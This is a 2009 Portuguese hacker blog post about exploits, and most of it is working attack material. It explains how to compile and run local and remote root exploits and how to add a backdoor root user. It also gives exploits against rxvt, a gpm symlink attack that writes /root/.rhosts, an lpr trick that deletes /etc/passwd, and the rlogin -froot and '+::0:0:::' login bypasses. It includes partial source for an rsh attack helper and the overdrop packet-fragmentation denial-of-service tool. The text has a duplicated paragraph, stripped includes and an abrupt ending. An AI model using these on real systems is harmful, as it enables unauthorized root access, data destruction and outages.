exploints
Autor: kay | Publicado: 2009-08-04T00:35:00-07:00

O que são exploits?A palavra mesmo já dá uma idéia do que seja... explorar... explorar o que? Explorar vunerabilidades de sistemas, saca? Tipo, se existe um bug no Outlook Express que quando você manda uma msg, pra alguem que usa ele pra receber email, com o assunto (subject) com mais de 5000 caracteres ele trava, então fazem exploits ou voce mesmo pode fazer que explora essa vunerabilidade, saca... um exploit pode ser um programa ou mesmo só o codigo dele que voce pode compilar em seu computador. Compilar é pegar seu codigo fonte e faze-lo ficar executável... programação saca.... Para que servem? Vélho, pense assim, pô, se existe um erro, a gente pode explora-lo para beneficio próprio, saca. Tipo existia um erro num sendmail aí que você podia anexar a qualquer email o próprio arquivo de senhas do servidor, então fizeram um exploit para fazer isso com mais facilidade e muito mais êxito saca... com o exploit voce precisaria apenas falar pra que email era pra enviar o arquivo de senhas e o exploit fazia o resto... essa manha do sendmail já foi arrumada a um tempão viu.... existem muito erros em programas por aí que podemos exploita-los saca... "Regras!" Não é bem uma regra, porque essa não existe pra ser quebrada. Você pode usar vários exploits que existem por aí, mas nunca em benefício do mau saca. Voce não tem o direito de usar a porra de um exploit, q uma pessoa regaço os neuronios pra faze-lo, pra chegar e derrubar um site pra o seu encher de visitas. Esse não é a ideologia de quem faz exploits, eles existem pra denunciar as inseguranças, para que pessoas usem eles para fazerem algo de bom saca... Que tal você pegar e tranferir uma grana de um politico desses aí pra uma instituiçao dessas massa... o q acha. Não se esqueça de que usando apenas exploits você não estará fazendo um ataque completamente seu, a maioria do ataque foi feito pelo carinha q fez o exploit. Crie, nao copie! Onde econtra-los? Existe alguns sites que publicam exploits, e você mesmo pode publicar o seu neles. Tipo, tem a RootShell, que é estrangeiro, mas muito bom o site, apesar de tá fraquinho hoje em dia. Tem tb o a Securenet que é Brasileiro, e muito bom por sinal, vários exploits. Mais um pouco de exploits EXPLOIT Exploits locais são programas geralmente feitos em C que explorarm a vulnerabilidade de programas e sistemas para ganhar acesso root ( de administrador ) , 90% dos exploits são para sistemas Linux , os exploits locais são scripts em C que vc irá rodar no servidor a partir de uma shell adquirida , os exploits locais são os melhores de se usar , pela sua variedade e confiaça de acesso ( desde que voce saiba o que está fazendo ) , alguns possuem pequenos trojans para dar acesso ao seu desenvolvedor , o que acho importante de se saber C para vc não se dar mal , mais isso é bom pq ferra os Lahma tbm : ) . Existem varios tipos de exploits locais , uma infinidade , cada um com sua função e seu jeito de executar . O que vc vai fazer é basicamente o seguinte , voce irá copiar o exploit para o provedor de sua shell e depois compilar ele , para copiar voce usa um programa de FTP e para compilar voce irá usar o telnet , ( use o Linux nessa operação toda ), após ter copiado o exploit para a shell vamos compilar ele : Welcome to Linux 2.0.X Host Login : nirvana Password: Linux 2.0.X Host :~$ gcc -o exploit exploit.c--------------------1Exploits locais são programas geralmente feitos em C que exploram a vulnerabilidade de programas e sistemas para ganhar acesso root ( de administrador ) , 90% dos exploits são para sistemas Linux , os exploits locais são scripts em C que você irá rodar no servidor a partir de uma shell adquirida , os exploits locais são os melhores de se usar , pela sua variedade e confiança de acesso ( desde que você saiba o que está fazendo ) , alguns possuem pequenos trojans para dar acesso ao seu programador .Existem vários tipos de exploits locais , uma infinidade , cada um com sua função e seu jeito de executar . O que você vai fazer é basicamente o seguinte , você irá copiar o exploits para o provedor de sua shell e depois compilar ele , para copiar você usa um programa de FTP e para compilar você irá usar o telnet , ( use o Linux nessa operação toda ), após ter copiado o exploits para a shell vamos compilar ele :Welcome to Linux 2.0.XHost Login : nirvanaPassword:Linux 2.0.XHost :~$ gcc -o exploits exploits.c < ----Compilando o Exploits.Depois de compilado vamos rodá-lo para ganhar acesso root .Host :~$ ./exploit <---Rodando o exploit no sistema.Depois que você rodar o exploits vai aparecer uma série de Lixos , que geralmente são os Buffer Owerflows no sistema , ai logo surgirá o prompt root :Host :~# <---Aqui tu ficou root no sistema , deu certo :) bah!!!Agora você poderá acrescentar um usuário root para que não tenha que fazer toda essa merda de novo , você pode usar o adduser e depois colocar os 0:0 de root no passwd ou fazer diretamente pelo comando echo , o que acho mais confiável .Host :~# echo newroot::0:1:Novo Root:/:bin/bash <<<---colocando usuário no passwd .Se o sistema tiver shadow você acrescenta devida linha no shadow também , depois é só se logar novamente e fazer a festa . :)Welcome to Linux 2.0.XHost Login : newrootPassword:Linux 2.0.XHost :~#ExploitS RemotoSSecuritYOs Exploits Remotos como já diz o próprio nome , são parecidos com os Exploits Locais , mais , não precisam de uma shell para Hackear na maquina a qual se quer Hackear , precisa é de uma base para rodá-lo , podendo ser um Linux e nunca um Windows , pois o programa é em C ou Perl e o RWindows não permite tal tarefa ; os exploits remotos exploram Bugs remotamente dando ao Hacker acesso privilegiado no sistema . O que você vai fazer é pegar o exploit , compilar ele no seu Linux e depois rodá-lo com o host ao qual vai atacar . As vulnerabilidades mais comuns usadas são as de BIND , FTP , IMAPD e POP . Você pode achar esses exploits na net , não colocarei eles aqui por motivo de segurança , ja que esta page é para fins educativos e de prevenção , e não escola de bunda mole :)Usando o exploits :Host :# gcc -o exploit exploit.c < ----Compilando o Exploit.Host :# ./exploit***************************Exploit Remoto by Security ChaosUse Exploit ./exploit host***************************Host :# ./exploit 127.0.0.1Logo que na sua maioria ele der o buffer Owerflow remotamente no sistema ele te dará o prompt root e você poderá adicionar o seu user root .--------------------2Exploitando:           1.  Logue em um sistema qualquer que você tenha um account.           2.  Digite no Shell:           $ echo 'cp /bin/sh /tmp/rxsh;chmod 4755 /tmp/rxsh' > /tmp/rxbug           $ chmod +x /tmp/rxbug           $ rxvt -print-pipe /tmp/rxbug           3.  No rxvt xclient:           $ cat           ESC[5i           ESC[4i               4.  $ /tmp/rxsh           # whoami           root           #------------------------------------------------------------------------------                      O problema do KILL MOUSE/STARTMOUSE, este comando esta na parte           dos pacotes DOOM em sistemas LINUX, ‚ só rodar estes dois scripts.----------------------------------startmouse.sh/usr/games/doom/startmouse.sh:#!/bin/shif [ -r /tmp/gpmkilled ]; then  /usr/bin/grep gpm /etc/rc.d/rc.local > /tmp/gpmscript  /bin/sh /tmp/gpmscript; /bin/rm /tmp/gpmscript /tmp/gpmkilledfi----------------------------------startmouse.sh----------------------------------killmouse.sh/usr/games/doom/killmouse.sh:#!/bin/shif /bin/ps ax | /usr/bin/grep -v grep | /usr/bin/grep "gpm" ; then  GPM_RUNNING=true; /bin/killall gpm; /bin/touch /tmp/gpmkilledfi----------------------------------killmouse.sh$ touch /tmp/gpmkilled$ /usr/games/doom/startmouseps -aux | grep gpmbo        1436  0.0  2.0   40  312 v03 R    16:33   0:00 grep gpmroot      1407  0.0  2.4   42  368  ?  S    16:24   0:00 /usr/bin/gpm t ms$ umask 0$ ln -s /root/.rhosts /tmp/gpmkilled$ /usr/games/doom/killmouse 1407  ?  S     0:00 gpm t ms$ ls -l /root/.rhosts-rw-rw-rw-   1 root     users           0 Dec 13 16:44 /root/.rhosts$ echo localhost bo > /root/.rhosts$ rsh -l root localhost sh -ibash#------------------------------------------------------------------------------           Jaeger, abre a porta do cliente, sistema FBSD, ultrix e linux           by jaeger (jaeger@dhp.com)                             begin prservice.c------------------Corte aqui/* modified by jaeger 12Nov1996. Duplicated slack coding style.   now takes        port locuser remuser [cmd]        port remuser passwd [cmd]   where port is the dst port you wish the stderr socket to connect to   from the server to the client machine./* generate ^@string1^@string2^@cmd^@ input to netcat, for scripting up   rsh/rexec attacks.  Needs to be a prog because shells strip out nulls.   args:        locuser remuser [cmd]        remuser passwd [cmd]   cmd defaults to "pwd".   ... whatever.  _H*/#include /* change if you like; "id" is a good one for figuring out if you won too */static char cmd[] = "pwd";static char buf [256];main(argc, argv)  int argc;  char * argv[];{  register int x;  register int y = 0;  char * p;  char * q;  p = buf;  memset (buf, 0, 256);  if (! argv[1])    goto wrong;  x = strlen (argv[1]);  memcpy (p, argv[1], x);       /* port plus null */  x++;  p += x;  y += x;  if (! argv[2])    goto wrong;  x = strlen (argv[2]);  memcpy (p, argv[2], x);       /* second arg plus null */  x++;  p += x;  y += x;  if (! argv[3])---------------------Corte aqui------------------------------------------------------------------------------           Usuário pode pegar o passwd, sistema linux           by Zygo Blacell (zblaxell@MIRANDA.UWATERLOO.CA)                       Em um diretório onde você possa escrever, entre nele e edita um           arquivo unlinkavel. O problema esta em lpr(1)não olhe os           diretorios com (eg. /tmp)           [ patch deleted]           D'oh!  It doesn't.  :(           Patheie o script e zaz daqui algums dias volte l  e de um lpr-s                      mkdir /tmp/foobar           ln -s /etc/passwd /tmp/foobar           lpr big_huge_file           lpr -r /tmp/foobar/passwd           rm -rf /tmp/foobar ; ln -s /etc /tmp/foobar           OU           ln -fs /home/private_file /tmp/foobar/passwd # Does this work?           /etc/passwd goes away.------------------------------------------------------------------------------           Usuário loga como ROOT, sistema linux           by Ken Weaverling (weave@hopi.dtcc.edu)           Em alguns sistemas antigos de Linux existem um bug muito escroto,           onde ‚ so colocao alguns sinais que vc loga como ROOT...           No sistema Slackware 2.3/ kernel 1.2.13. ‚ só digitar quando vc           for logar pelo telnet...           '+::0:0:::'           Sacou ‚ isto mesmo ‚ s¢ digitar no password '+::0:0:::'------------------------------------------------------------------------------           Rlogin, usuário loga como ROOT, sistema AIX e           Linux (Slackware 3.1, Redhat 2.0-2.1) autor desconhecido bug           retirado da ROOTSHELL           :           % rlogin haxored.net -l -froot           #------------------------------------------------------------------------------           ip_fragment.c, não sei o que faz ainda não testei, sistema           Linux 2.0.33 remandado por Michal Zalewski           ----------------------ip_fragment.c        if(len>65535)                {-               printk("Oversized IP packet from %s.\n", in_ntoa(qp->iph->saddr));+               NETDEBUG(printk("Oversized IP packet from %s.\n", in_ntoa(qp->iph->saddr)));                ip_statistics.IpReasmFails++;                ip_free(qp);                return NULL;-------------------------------------------------------------------------// overdrop by lcamtuf [Linux 2.0.33 printk abuse]// ------------------------------------------------// based on (reaped from) teardrop by route|daemon9#include #include #include #include #include #include #include #include #include #include #include #define IP_MF   0x2000#define IPH     0x14#define UDPH    0x8#define PADDING 0x1c#define MAGIC   0x3#define COUNT   0xBEEF#define FRAG2   0xFFFFvoid usage(char *name) {  fprintf(stderr,"%s dst_ip [ -n how_many ] [ -s src_ip ] [ -x ] (use -x for express delivery).\n",name);  exit(0);}u_long name_resolve(char *host_name) {  struct in_addr addr;  struct hostent *host_ent;  if ((addr.s_addr=inet_addr(host_name))==-1) {    if (!(host_ent=gethostbyname(host_name))) return (0);    bcopy(host_ent->h_addr,(char *)&addr.s_addr,host_ent->h_length);  }  return (addr.s_addr);}void send_frags(int sock,u_long src_ip,u_long dst_ip,u_short src_prt,u_short dst_prt) {  u_char *packet=NULL,*p_ptr=NULL;  u_char byte;  struct sockaddr_in sin;  sin.sin_family=AF_INET;  sin.sin_port=src_prt;  sin.sin_addr.s_addr=dst_ip;  packet=(u_char *)malloc(IPH+UDPH+PADDING);  p_ptr=packet;  bzero((u_char *)p_ptr,IPH+UDPH+PADDING);  byte=0x45;  memcpy(p_ptr,&byte,sizeof(u_char));  p_ptr+=2;  *((u_short *)p_ptr)=htons(IPH+UDPH+PADDING);  p_ptr+=2;  *((u_short *)p_ptr)=htons(242);  p_ptr+=2;  *((u_short *)p_ptr)|=htons(IP_MF);  p_ptr+=2;  *((u_short *)p_ptr)=0x40;  byte=IPPROTO_UDP;  memcpy(p_ptr+1,&byte,sizeof(u_char));  p_ptr+=4;  *((u_long *)p_ptr)=src_ip;  p_ptr+=4;  *((u_long *)p_ptr)=dst_ip;  p_ptr+=4;  *((u_short *)p_ptr)=htons(src_prt);  p_ptr+=2;  *((u_short *)p_ptr)=htons(dst_prt);  p_ptr+=2;  *((u_short *)p_ptr)=htons(8+PADDING);  if (sendto(sock,packet,IPH+UDPH+PADDING,0,(struct sockaddr *)&sin,      sizeof(struct sockaddr))==-1) {    perror("\nsendto");    free(packet);    exit(1);  }  p_ptr=&packet[2];  *((u_short *)p_ptr)=htons(IPH+MAGIC+1);  p_ptr+=4;  *((u_short *)p_ptr)=htons(FRAG2);  if (sendto(sock,packet,IPH+MAGIC+1,0,(struct sockaddr *)&sin,      sizeof(struct sockaddr))==-1) {    perror("\nsendto");    free(packet);    exit(1);  }  free(packet);}int main(int argc, char **argv) {  int one=1,count=0,i,rip_sock,lag=500;  u_long  src_ip=0,dst_ip=0;  u_short src_prt=0,dst_prt=0;  struct in_addr addr;  fprintf(stderr,"overdrop by lcamtuf [based on teardrop by route|daemon9]\n\n");  if((rip_sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) {    perror("raw socket");    exit(1);  }  if (setsockopt(rip_sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one))<0) {    perror("IP_HDRINCL");    exit(1);  }  if (argc < 2) usage(argv[0]);  if (!(dst_ip=name_resolve(argv[1]))) {    fprintf(stderr,"Can't resolve destination address.\n");    exit(1);  }  while ((i=getopt(argc,argv,"s:n:x"))!=EOF) {    switch (i) {      case 'n':        count   = atoi(optarg);        break;      case 's':        if (!(src_ip=name_resolve(optarg))) {          fprintf(stderr,"Can't resolve source address.\n");          exit(1);        }        break;      case 'x':        lag=0;        break;      default:        usage(argv[0]);        break;    }  }  srandom((unsigned)(time((time_t)0)));  if (!count) count=COUNT;  fprintf(stderr,"Sending oversized packets:\nFrom: ");  if (!src_ip) fprintf(stderr,"       (random)"); else {    addr.s_addr = src_ip;    fprintf(stderr,"%15s",inet_ntoa(addr));  }  addr.s_addr = dst_ip;  fprintf(stderr,"\n  To: %15s\n",inet_ntoa(addr));  fprintf(stderr," Amt: %5d\n",count);  fprintf(stderr,"[ ");  for (i=0;i<><><><><><><><><><><><><>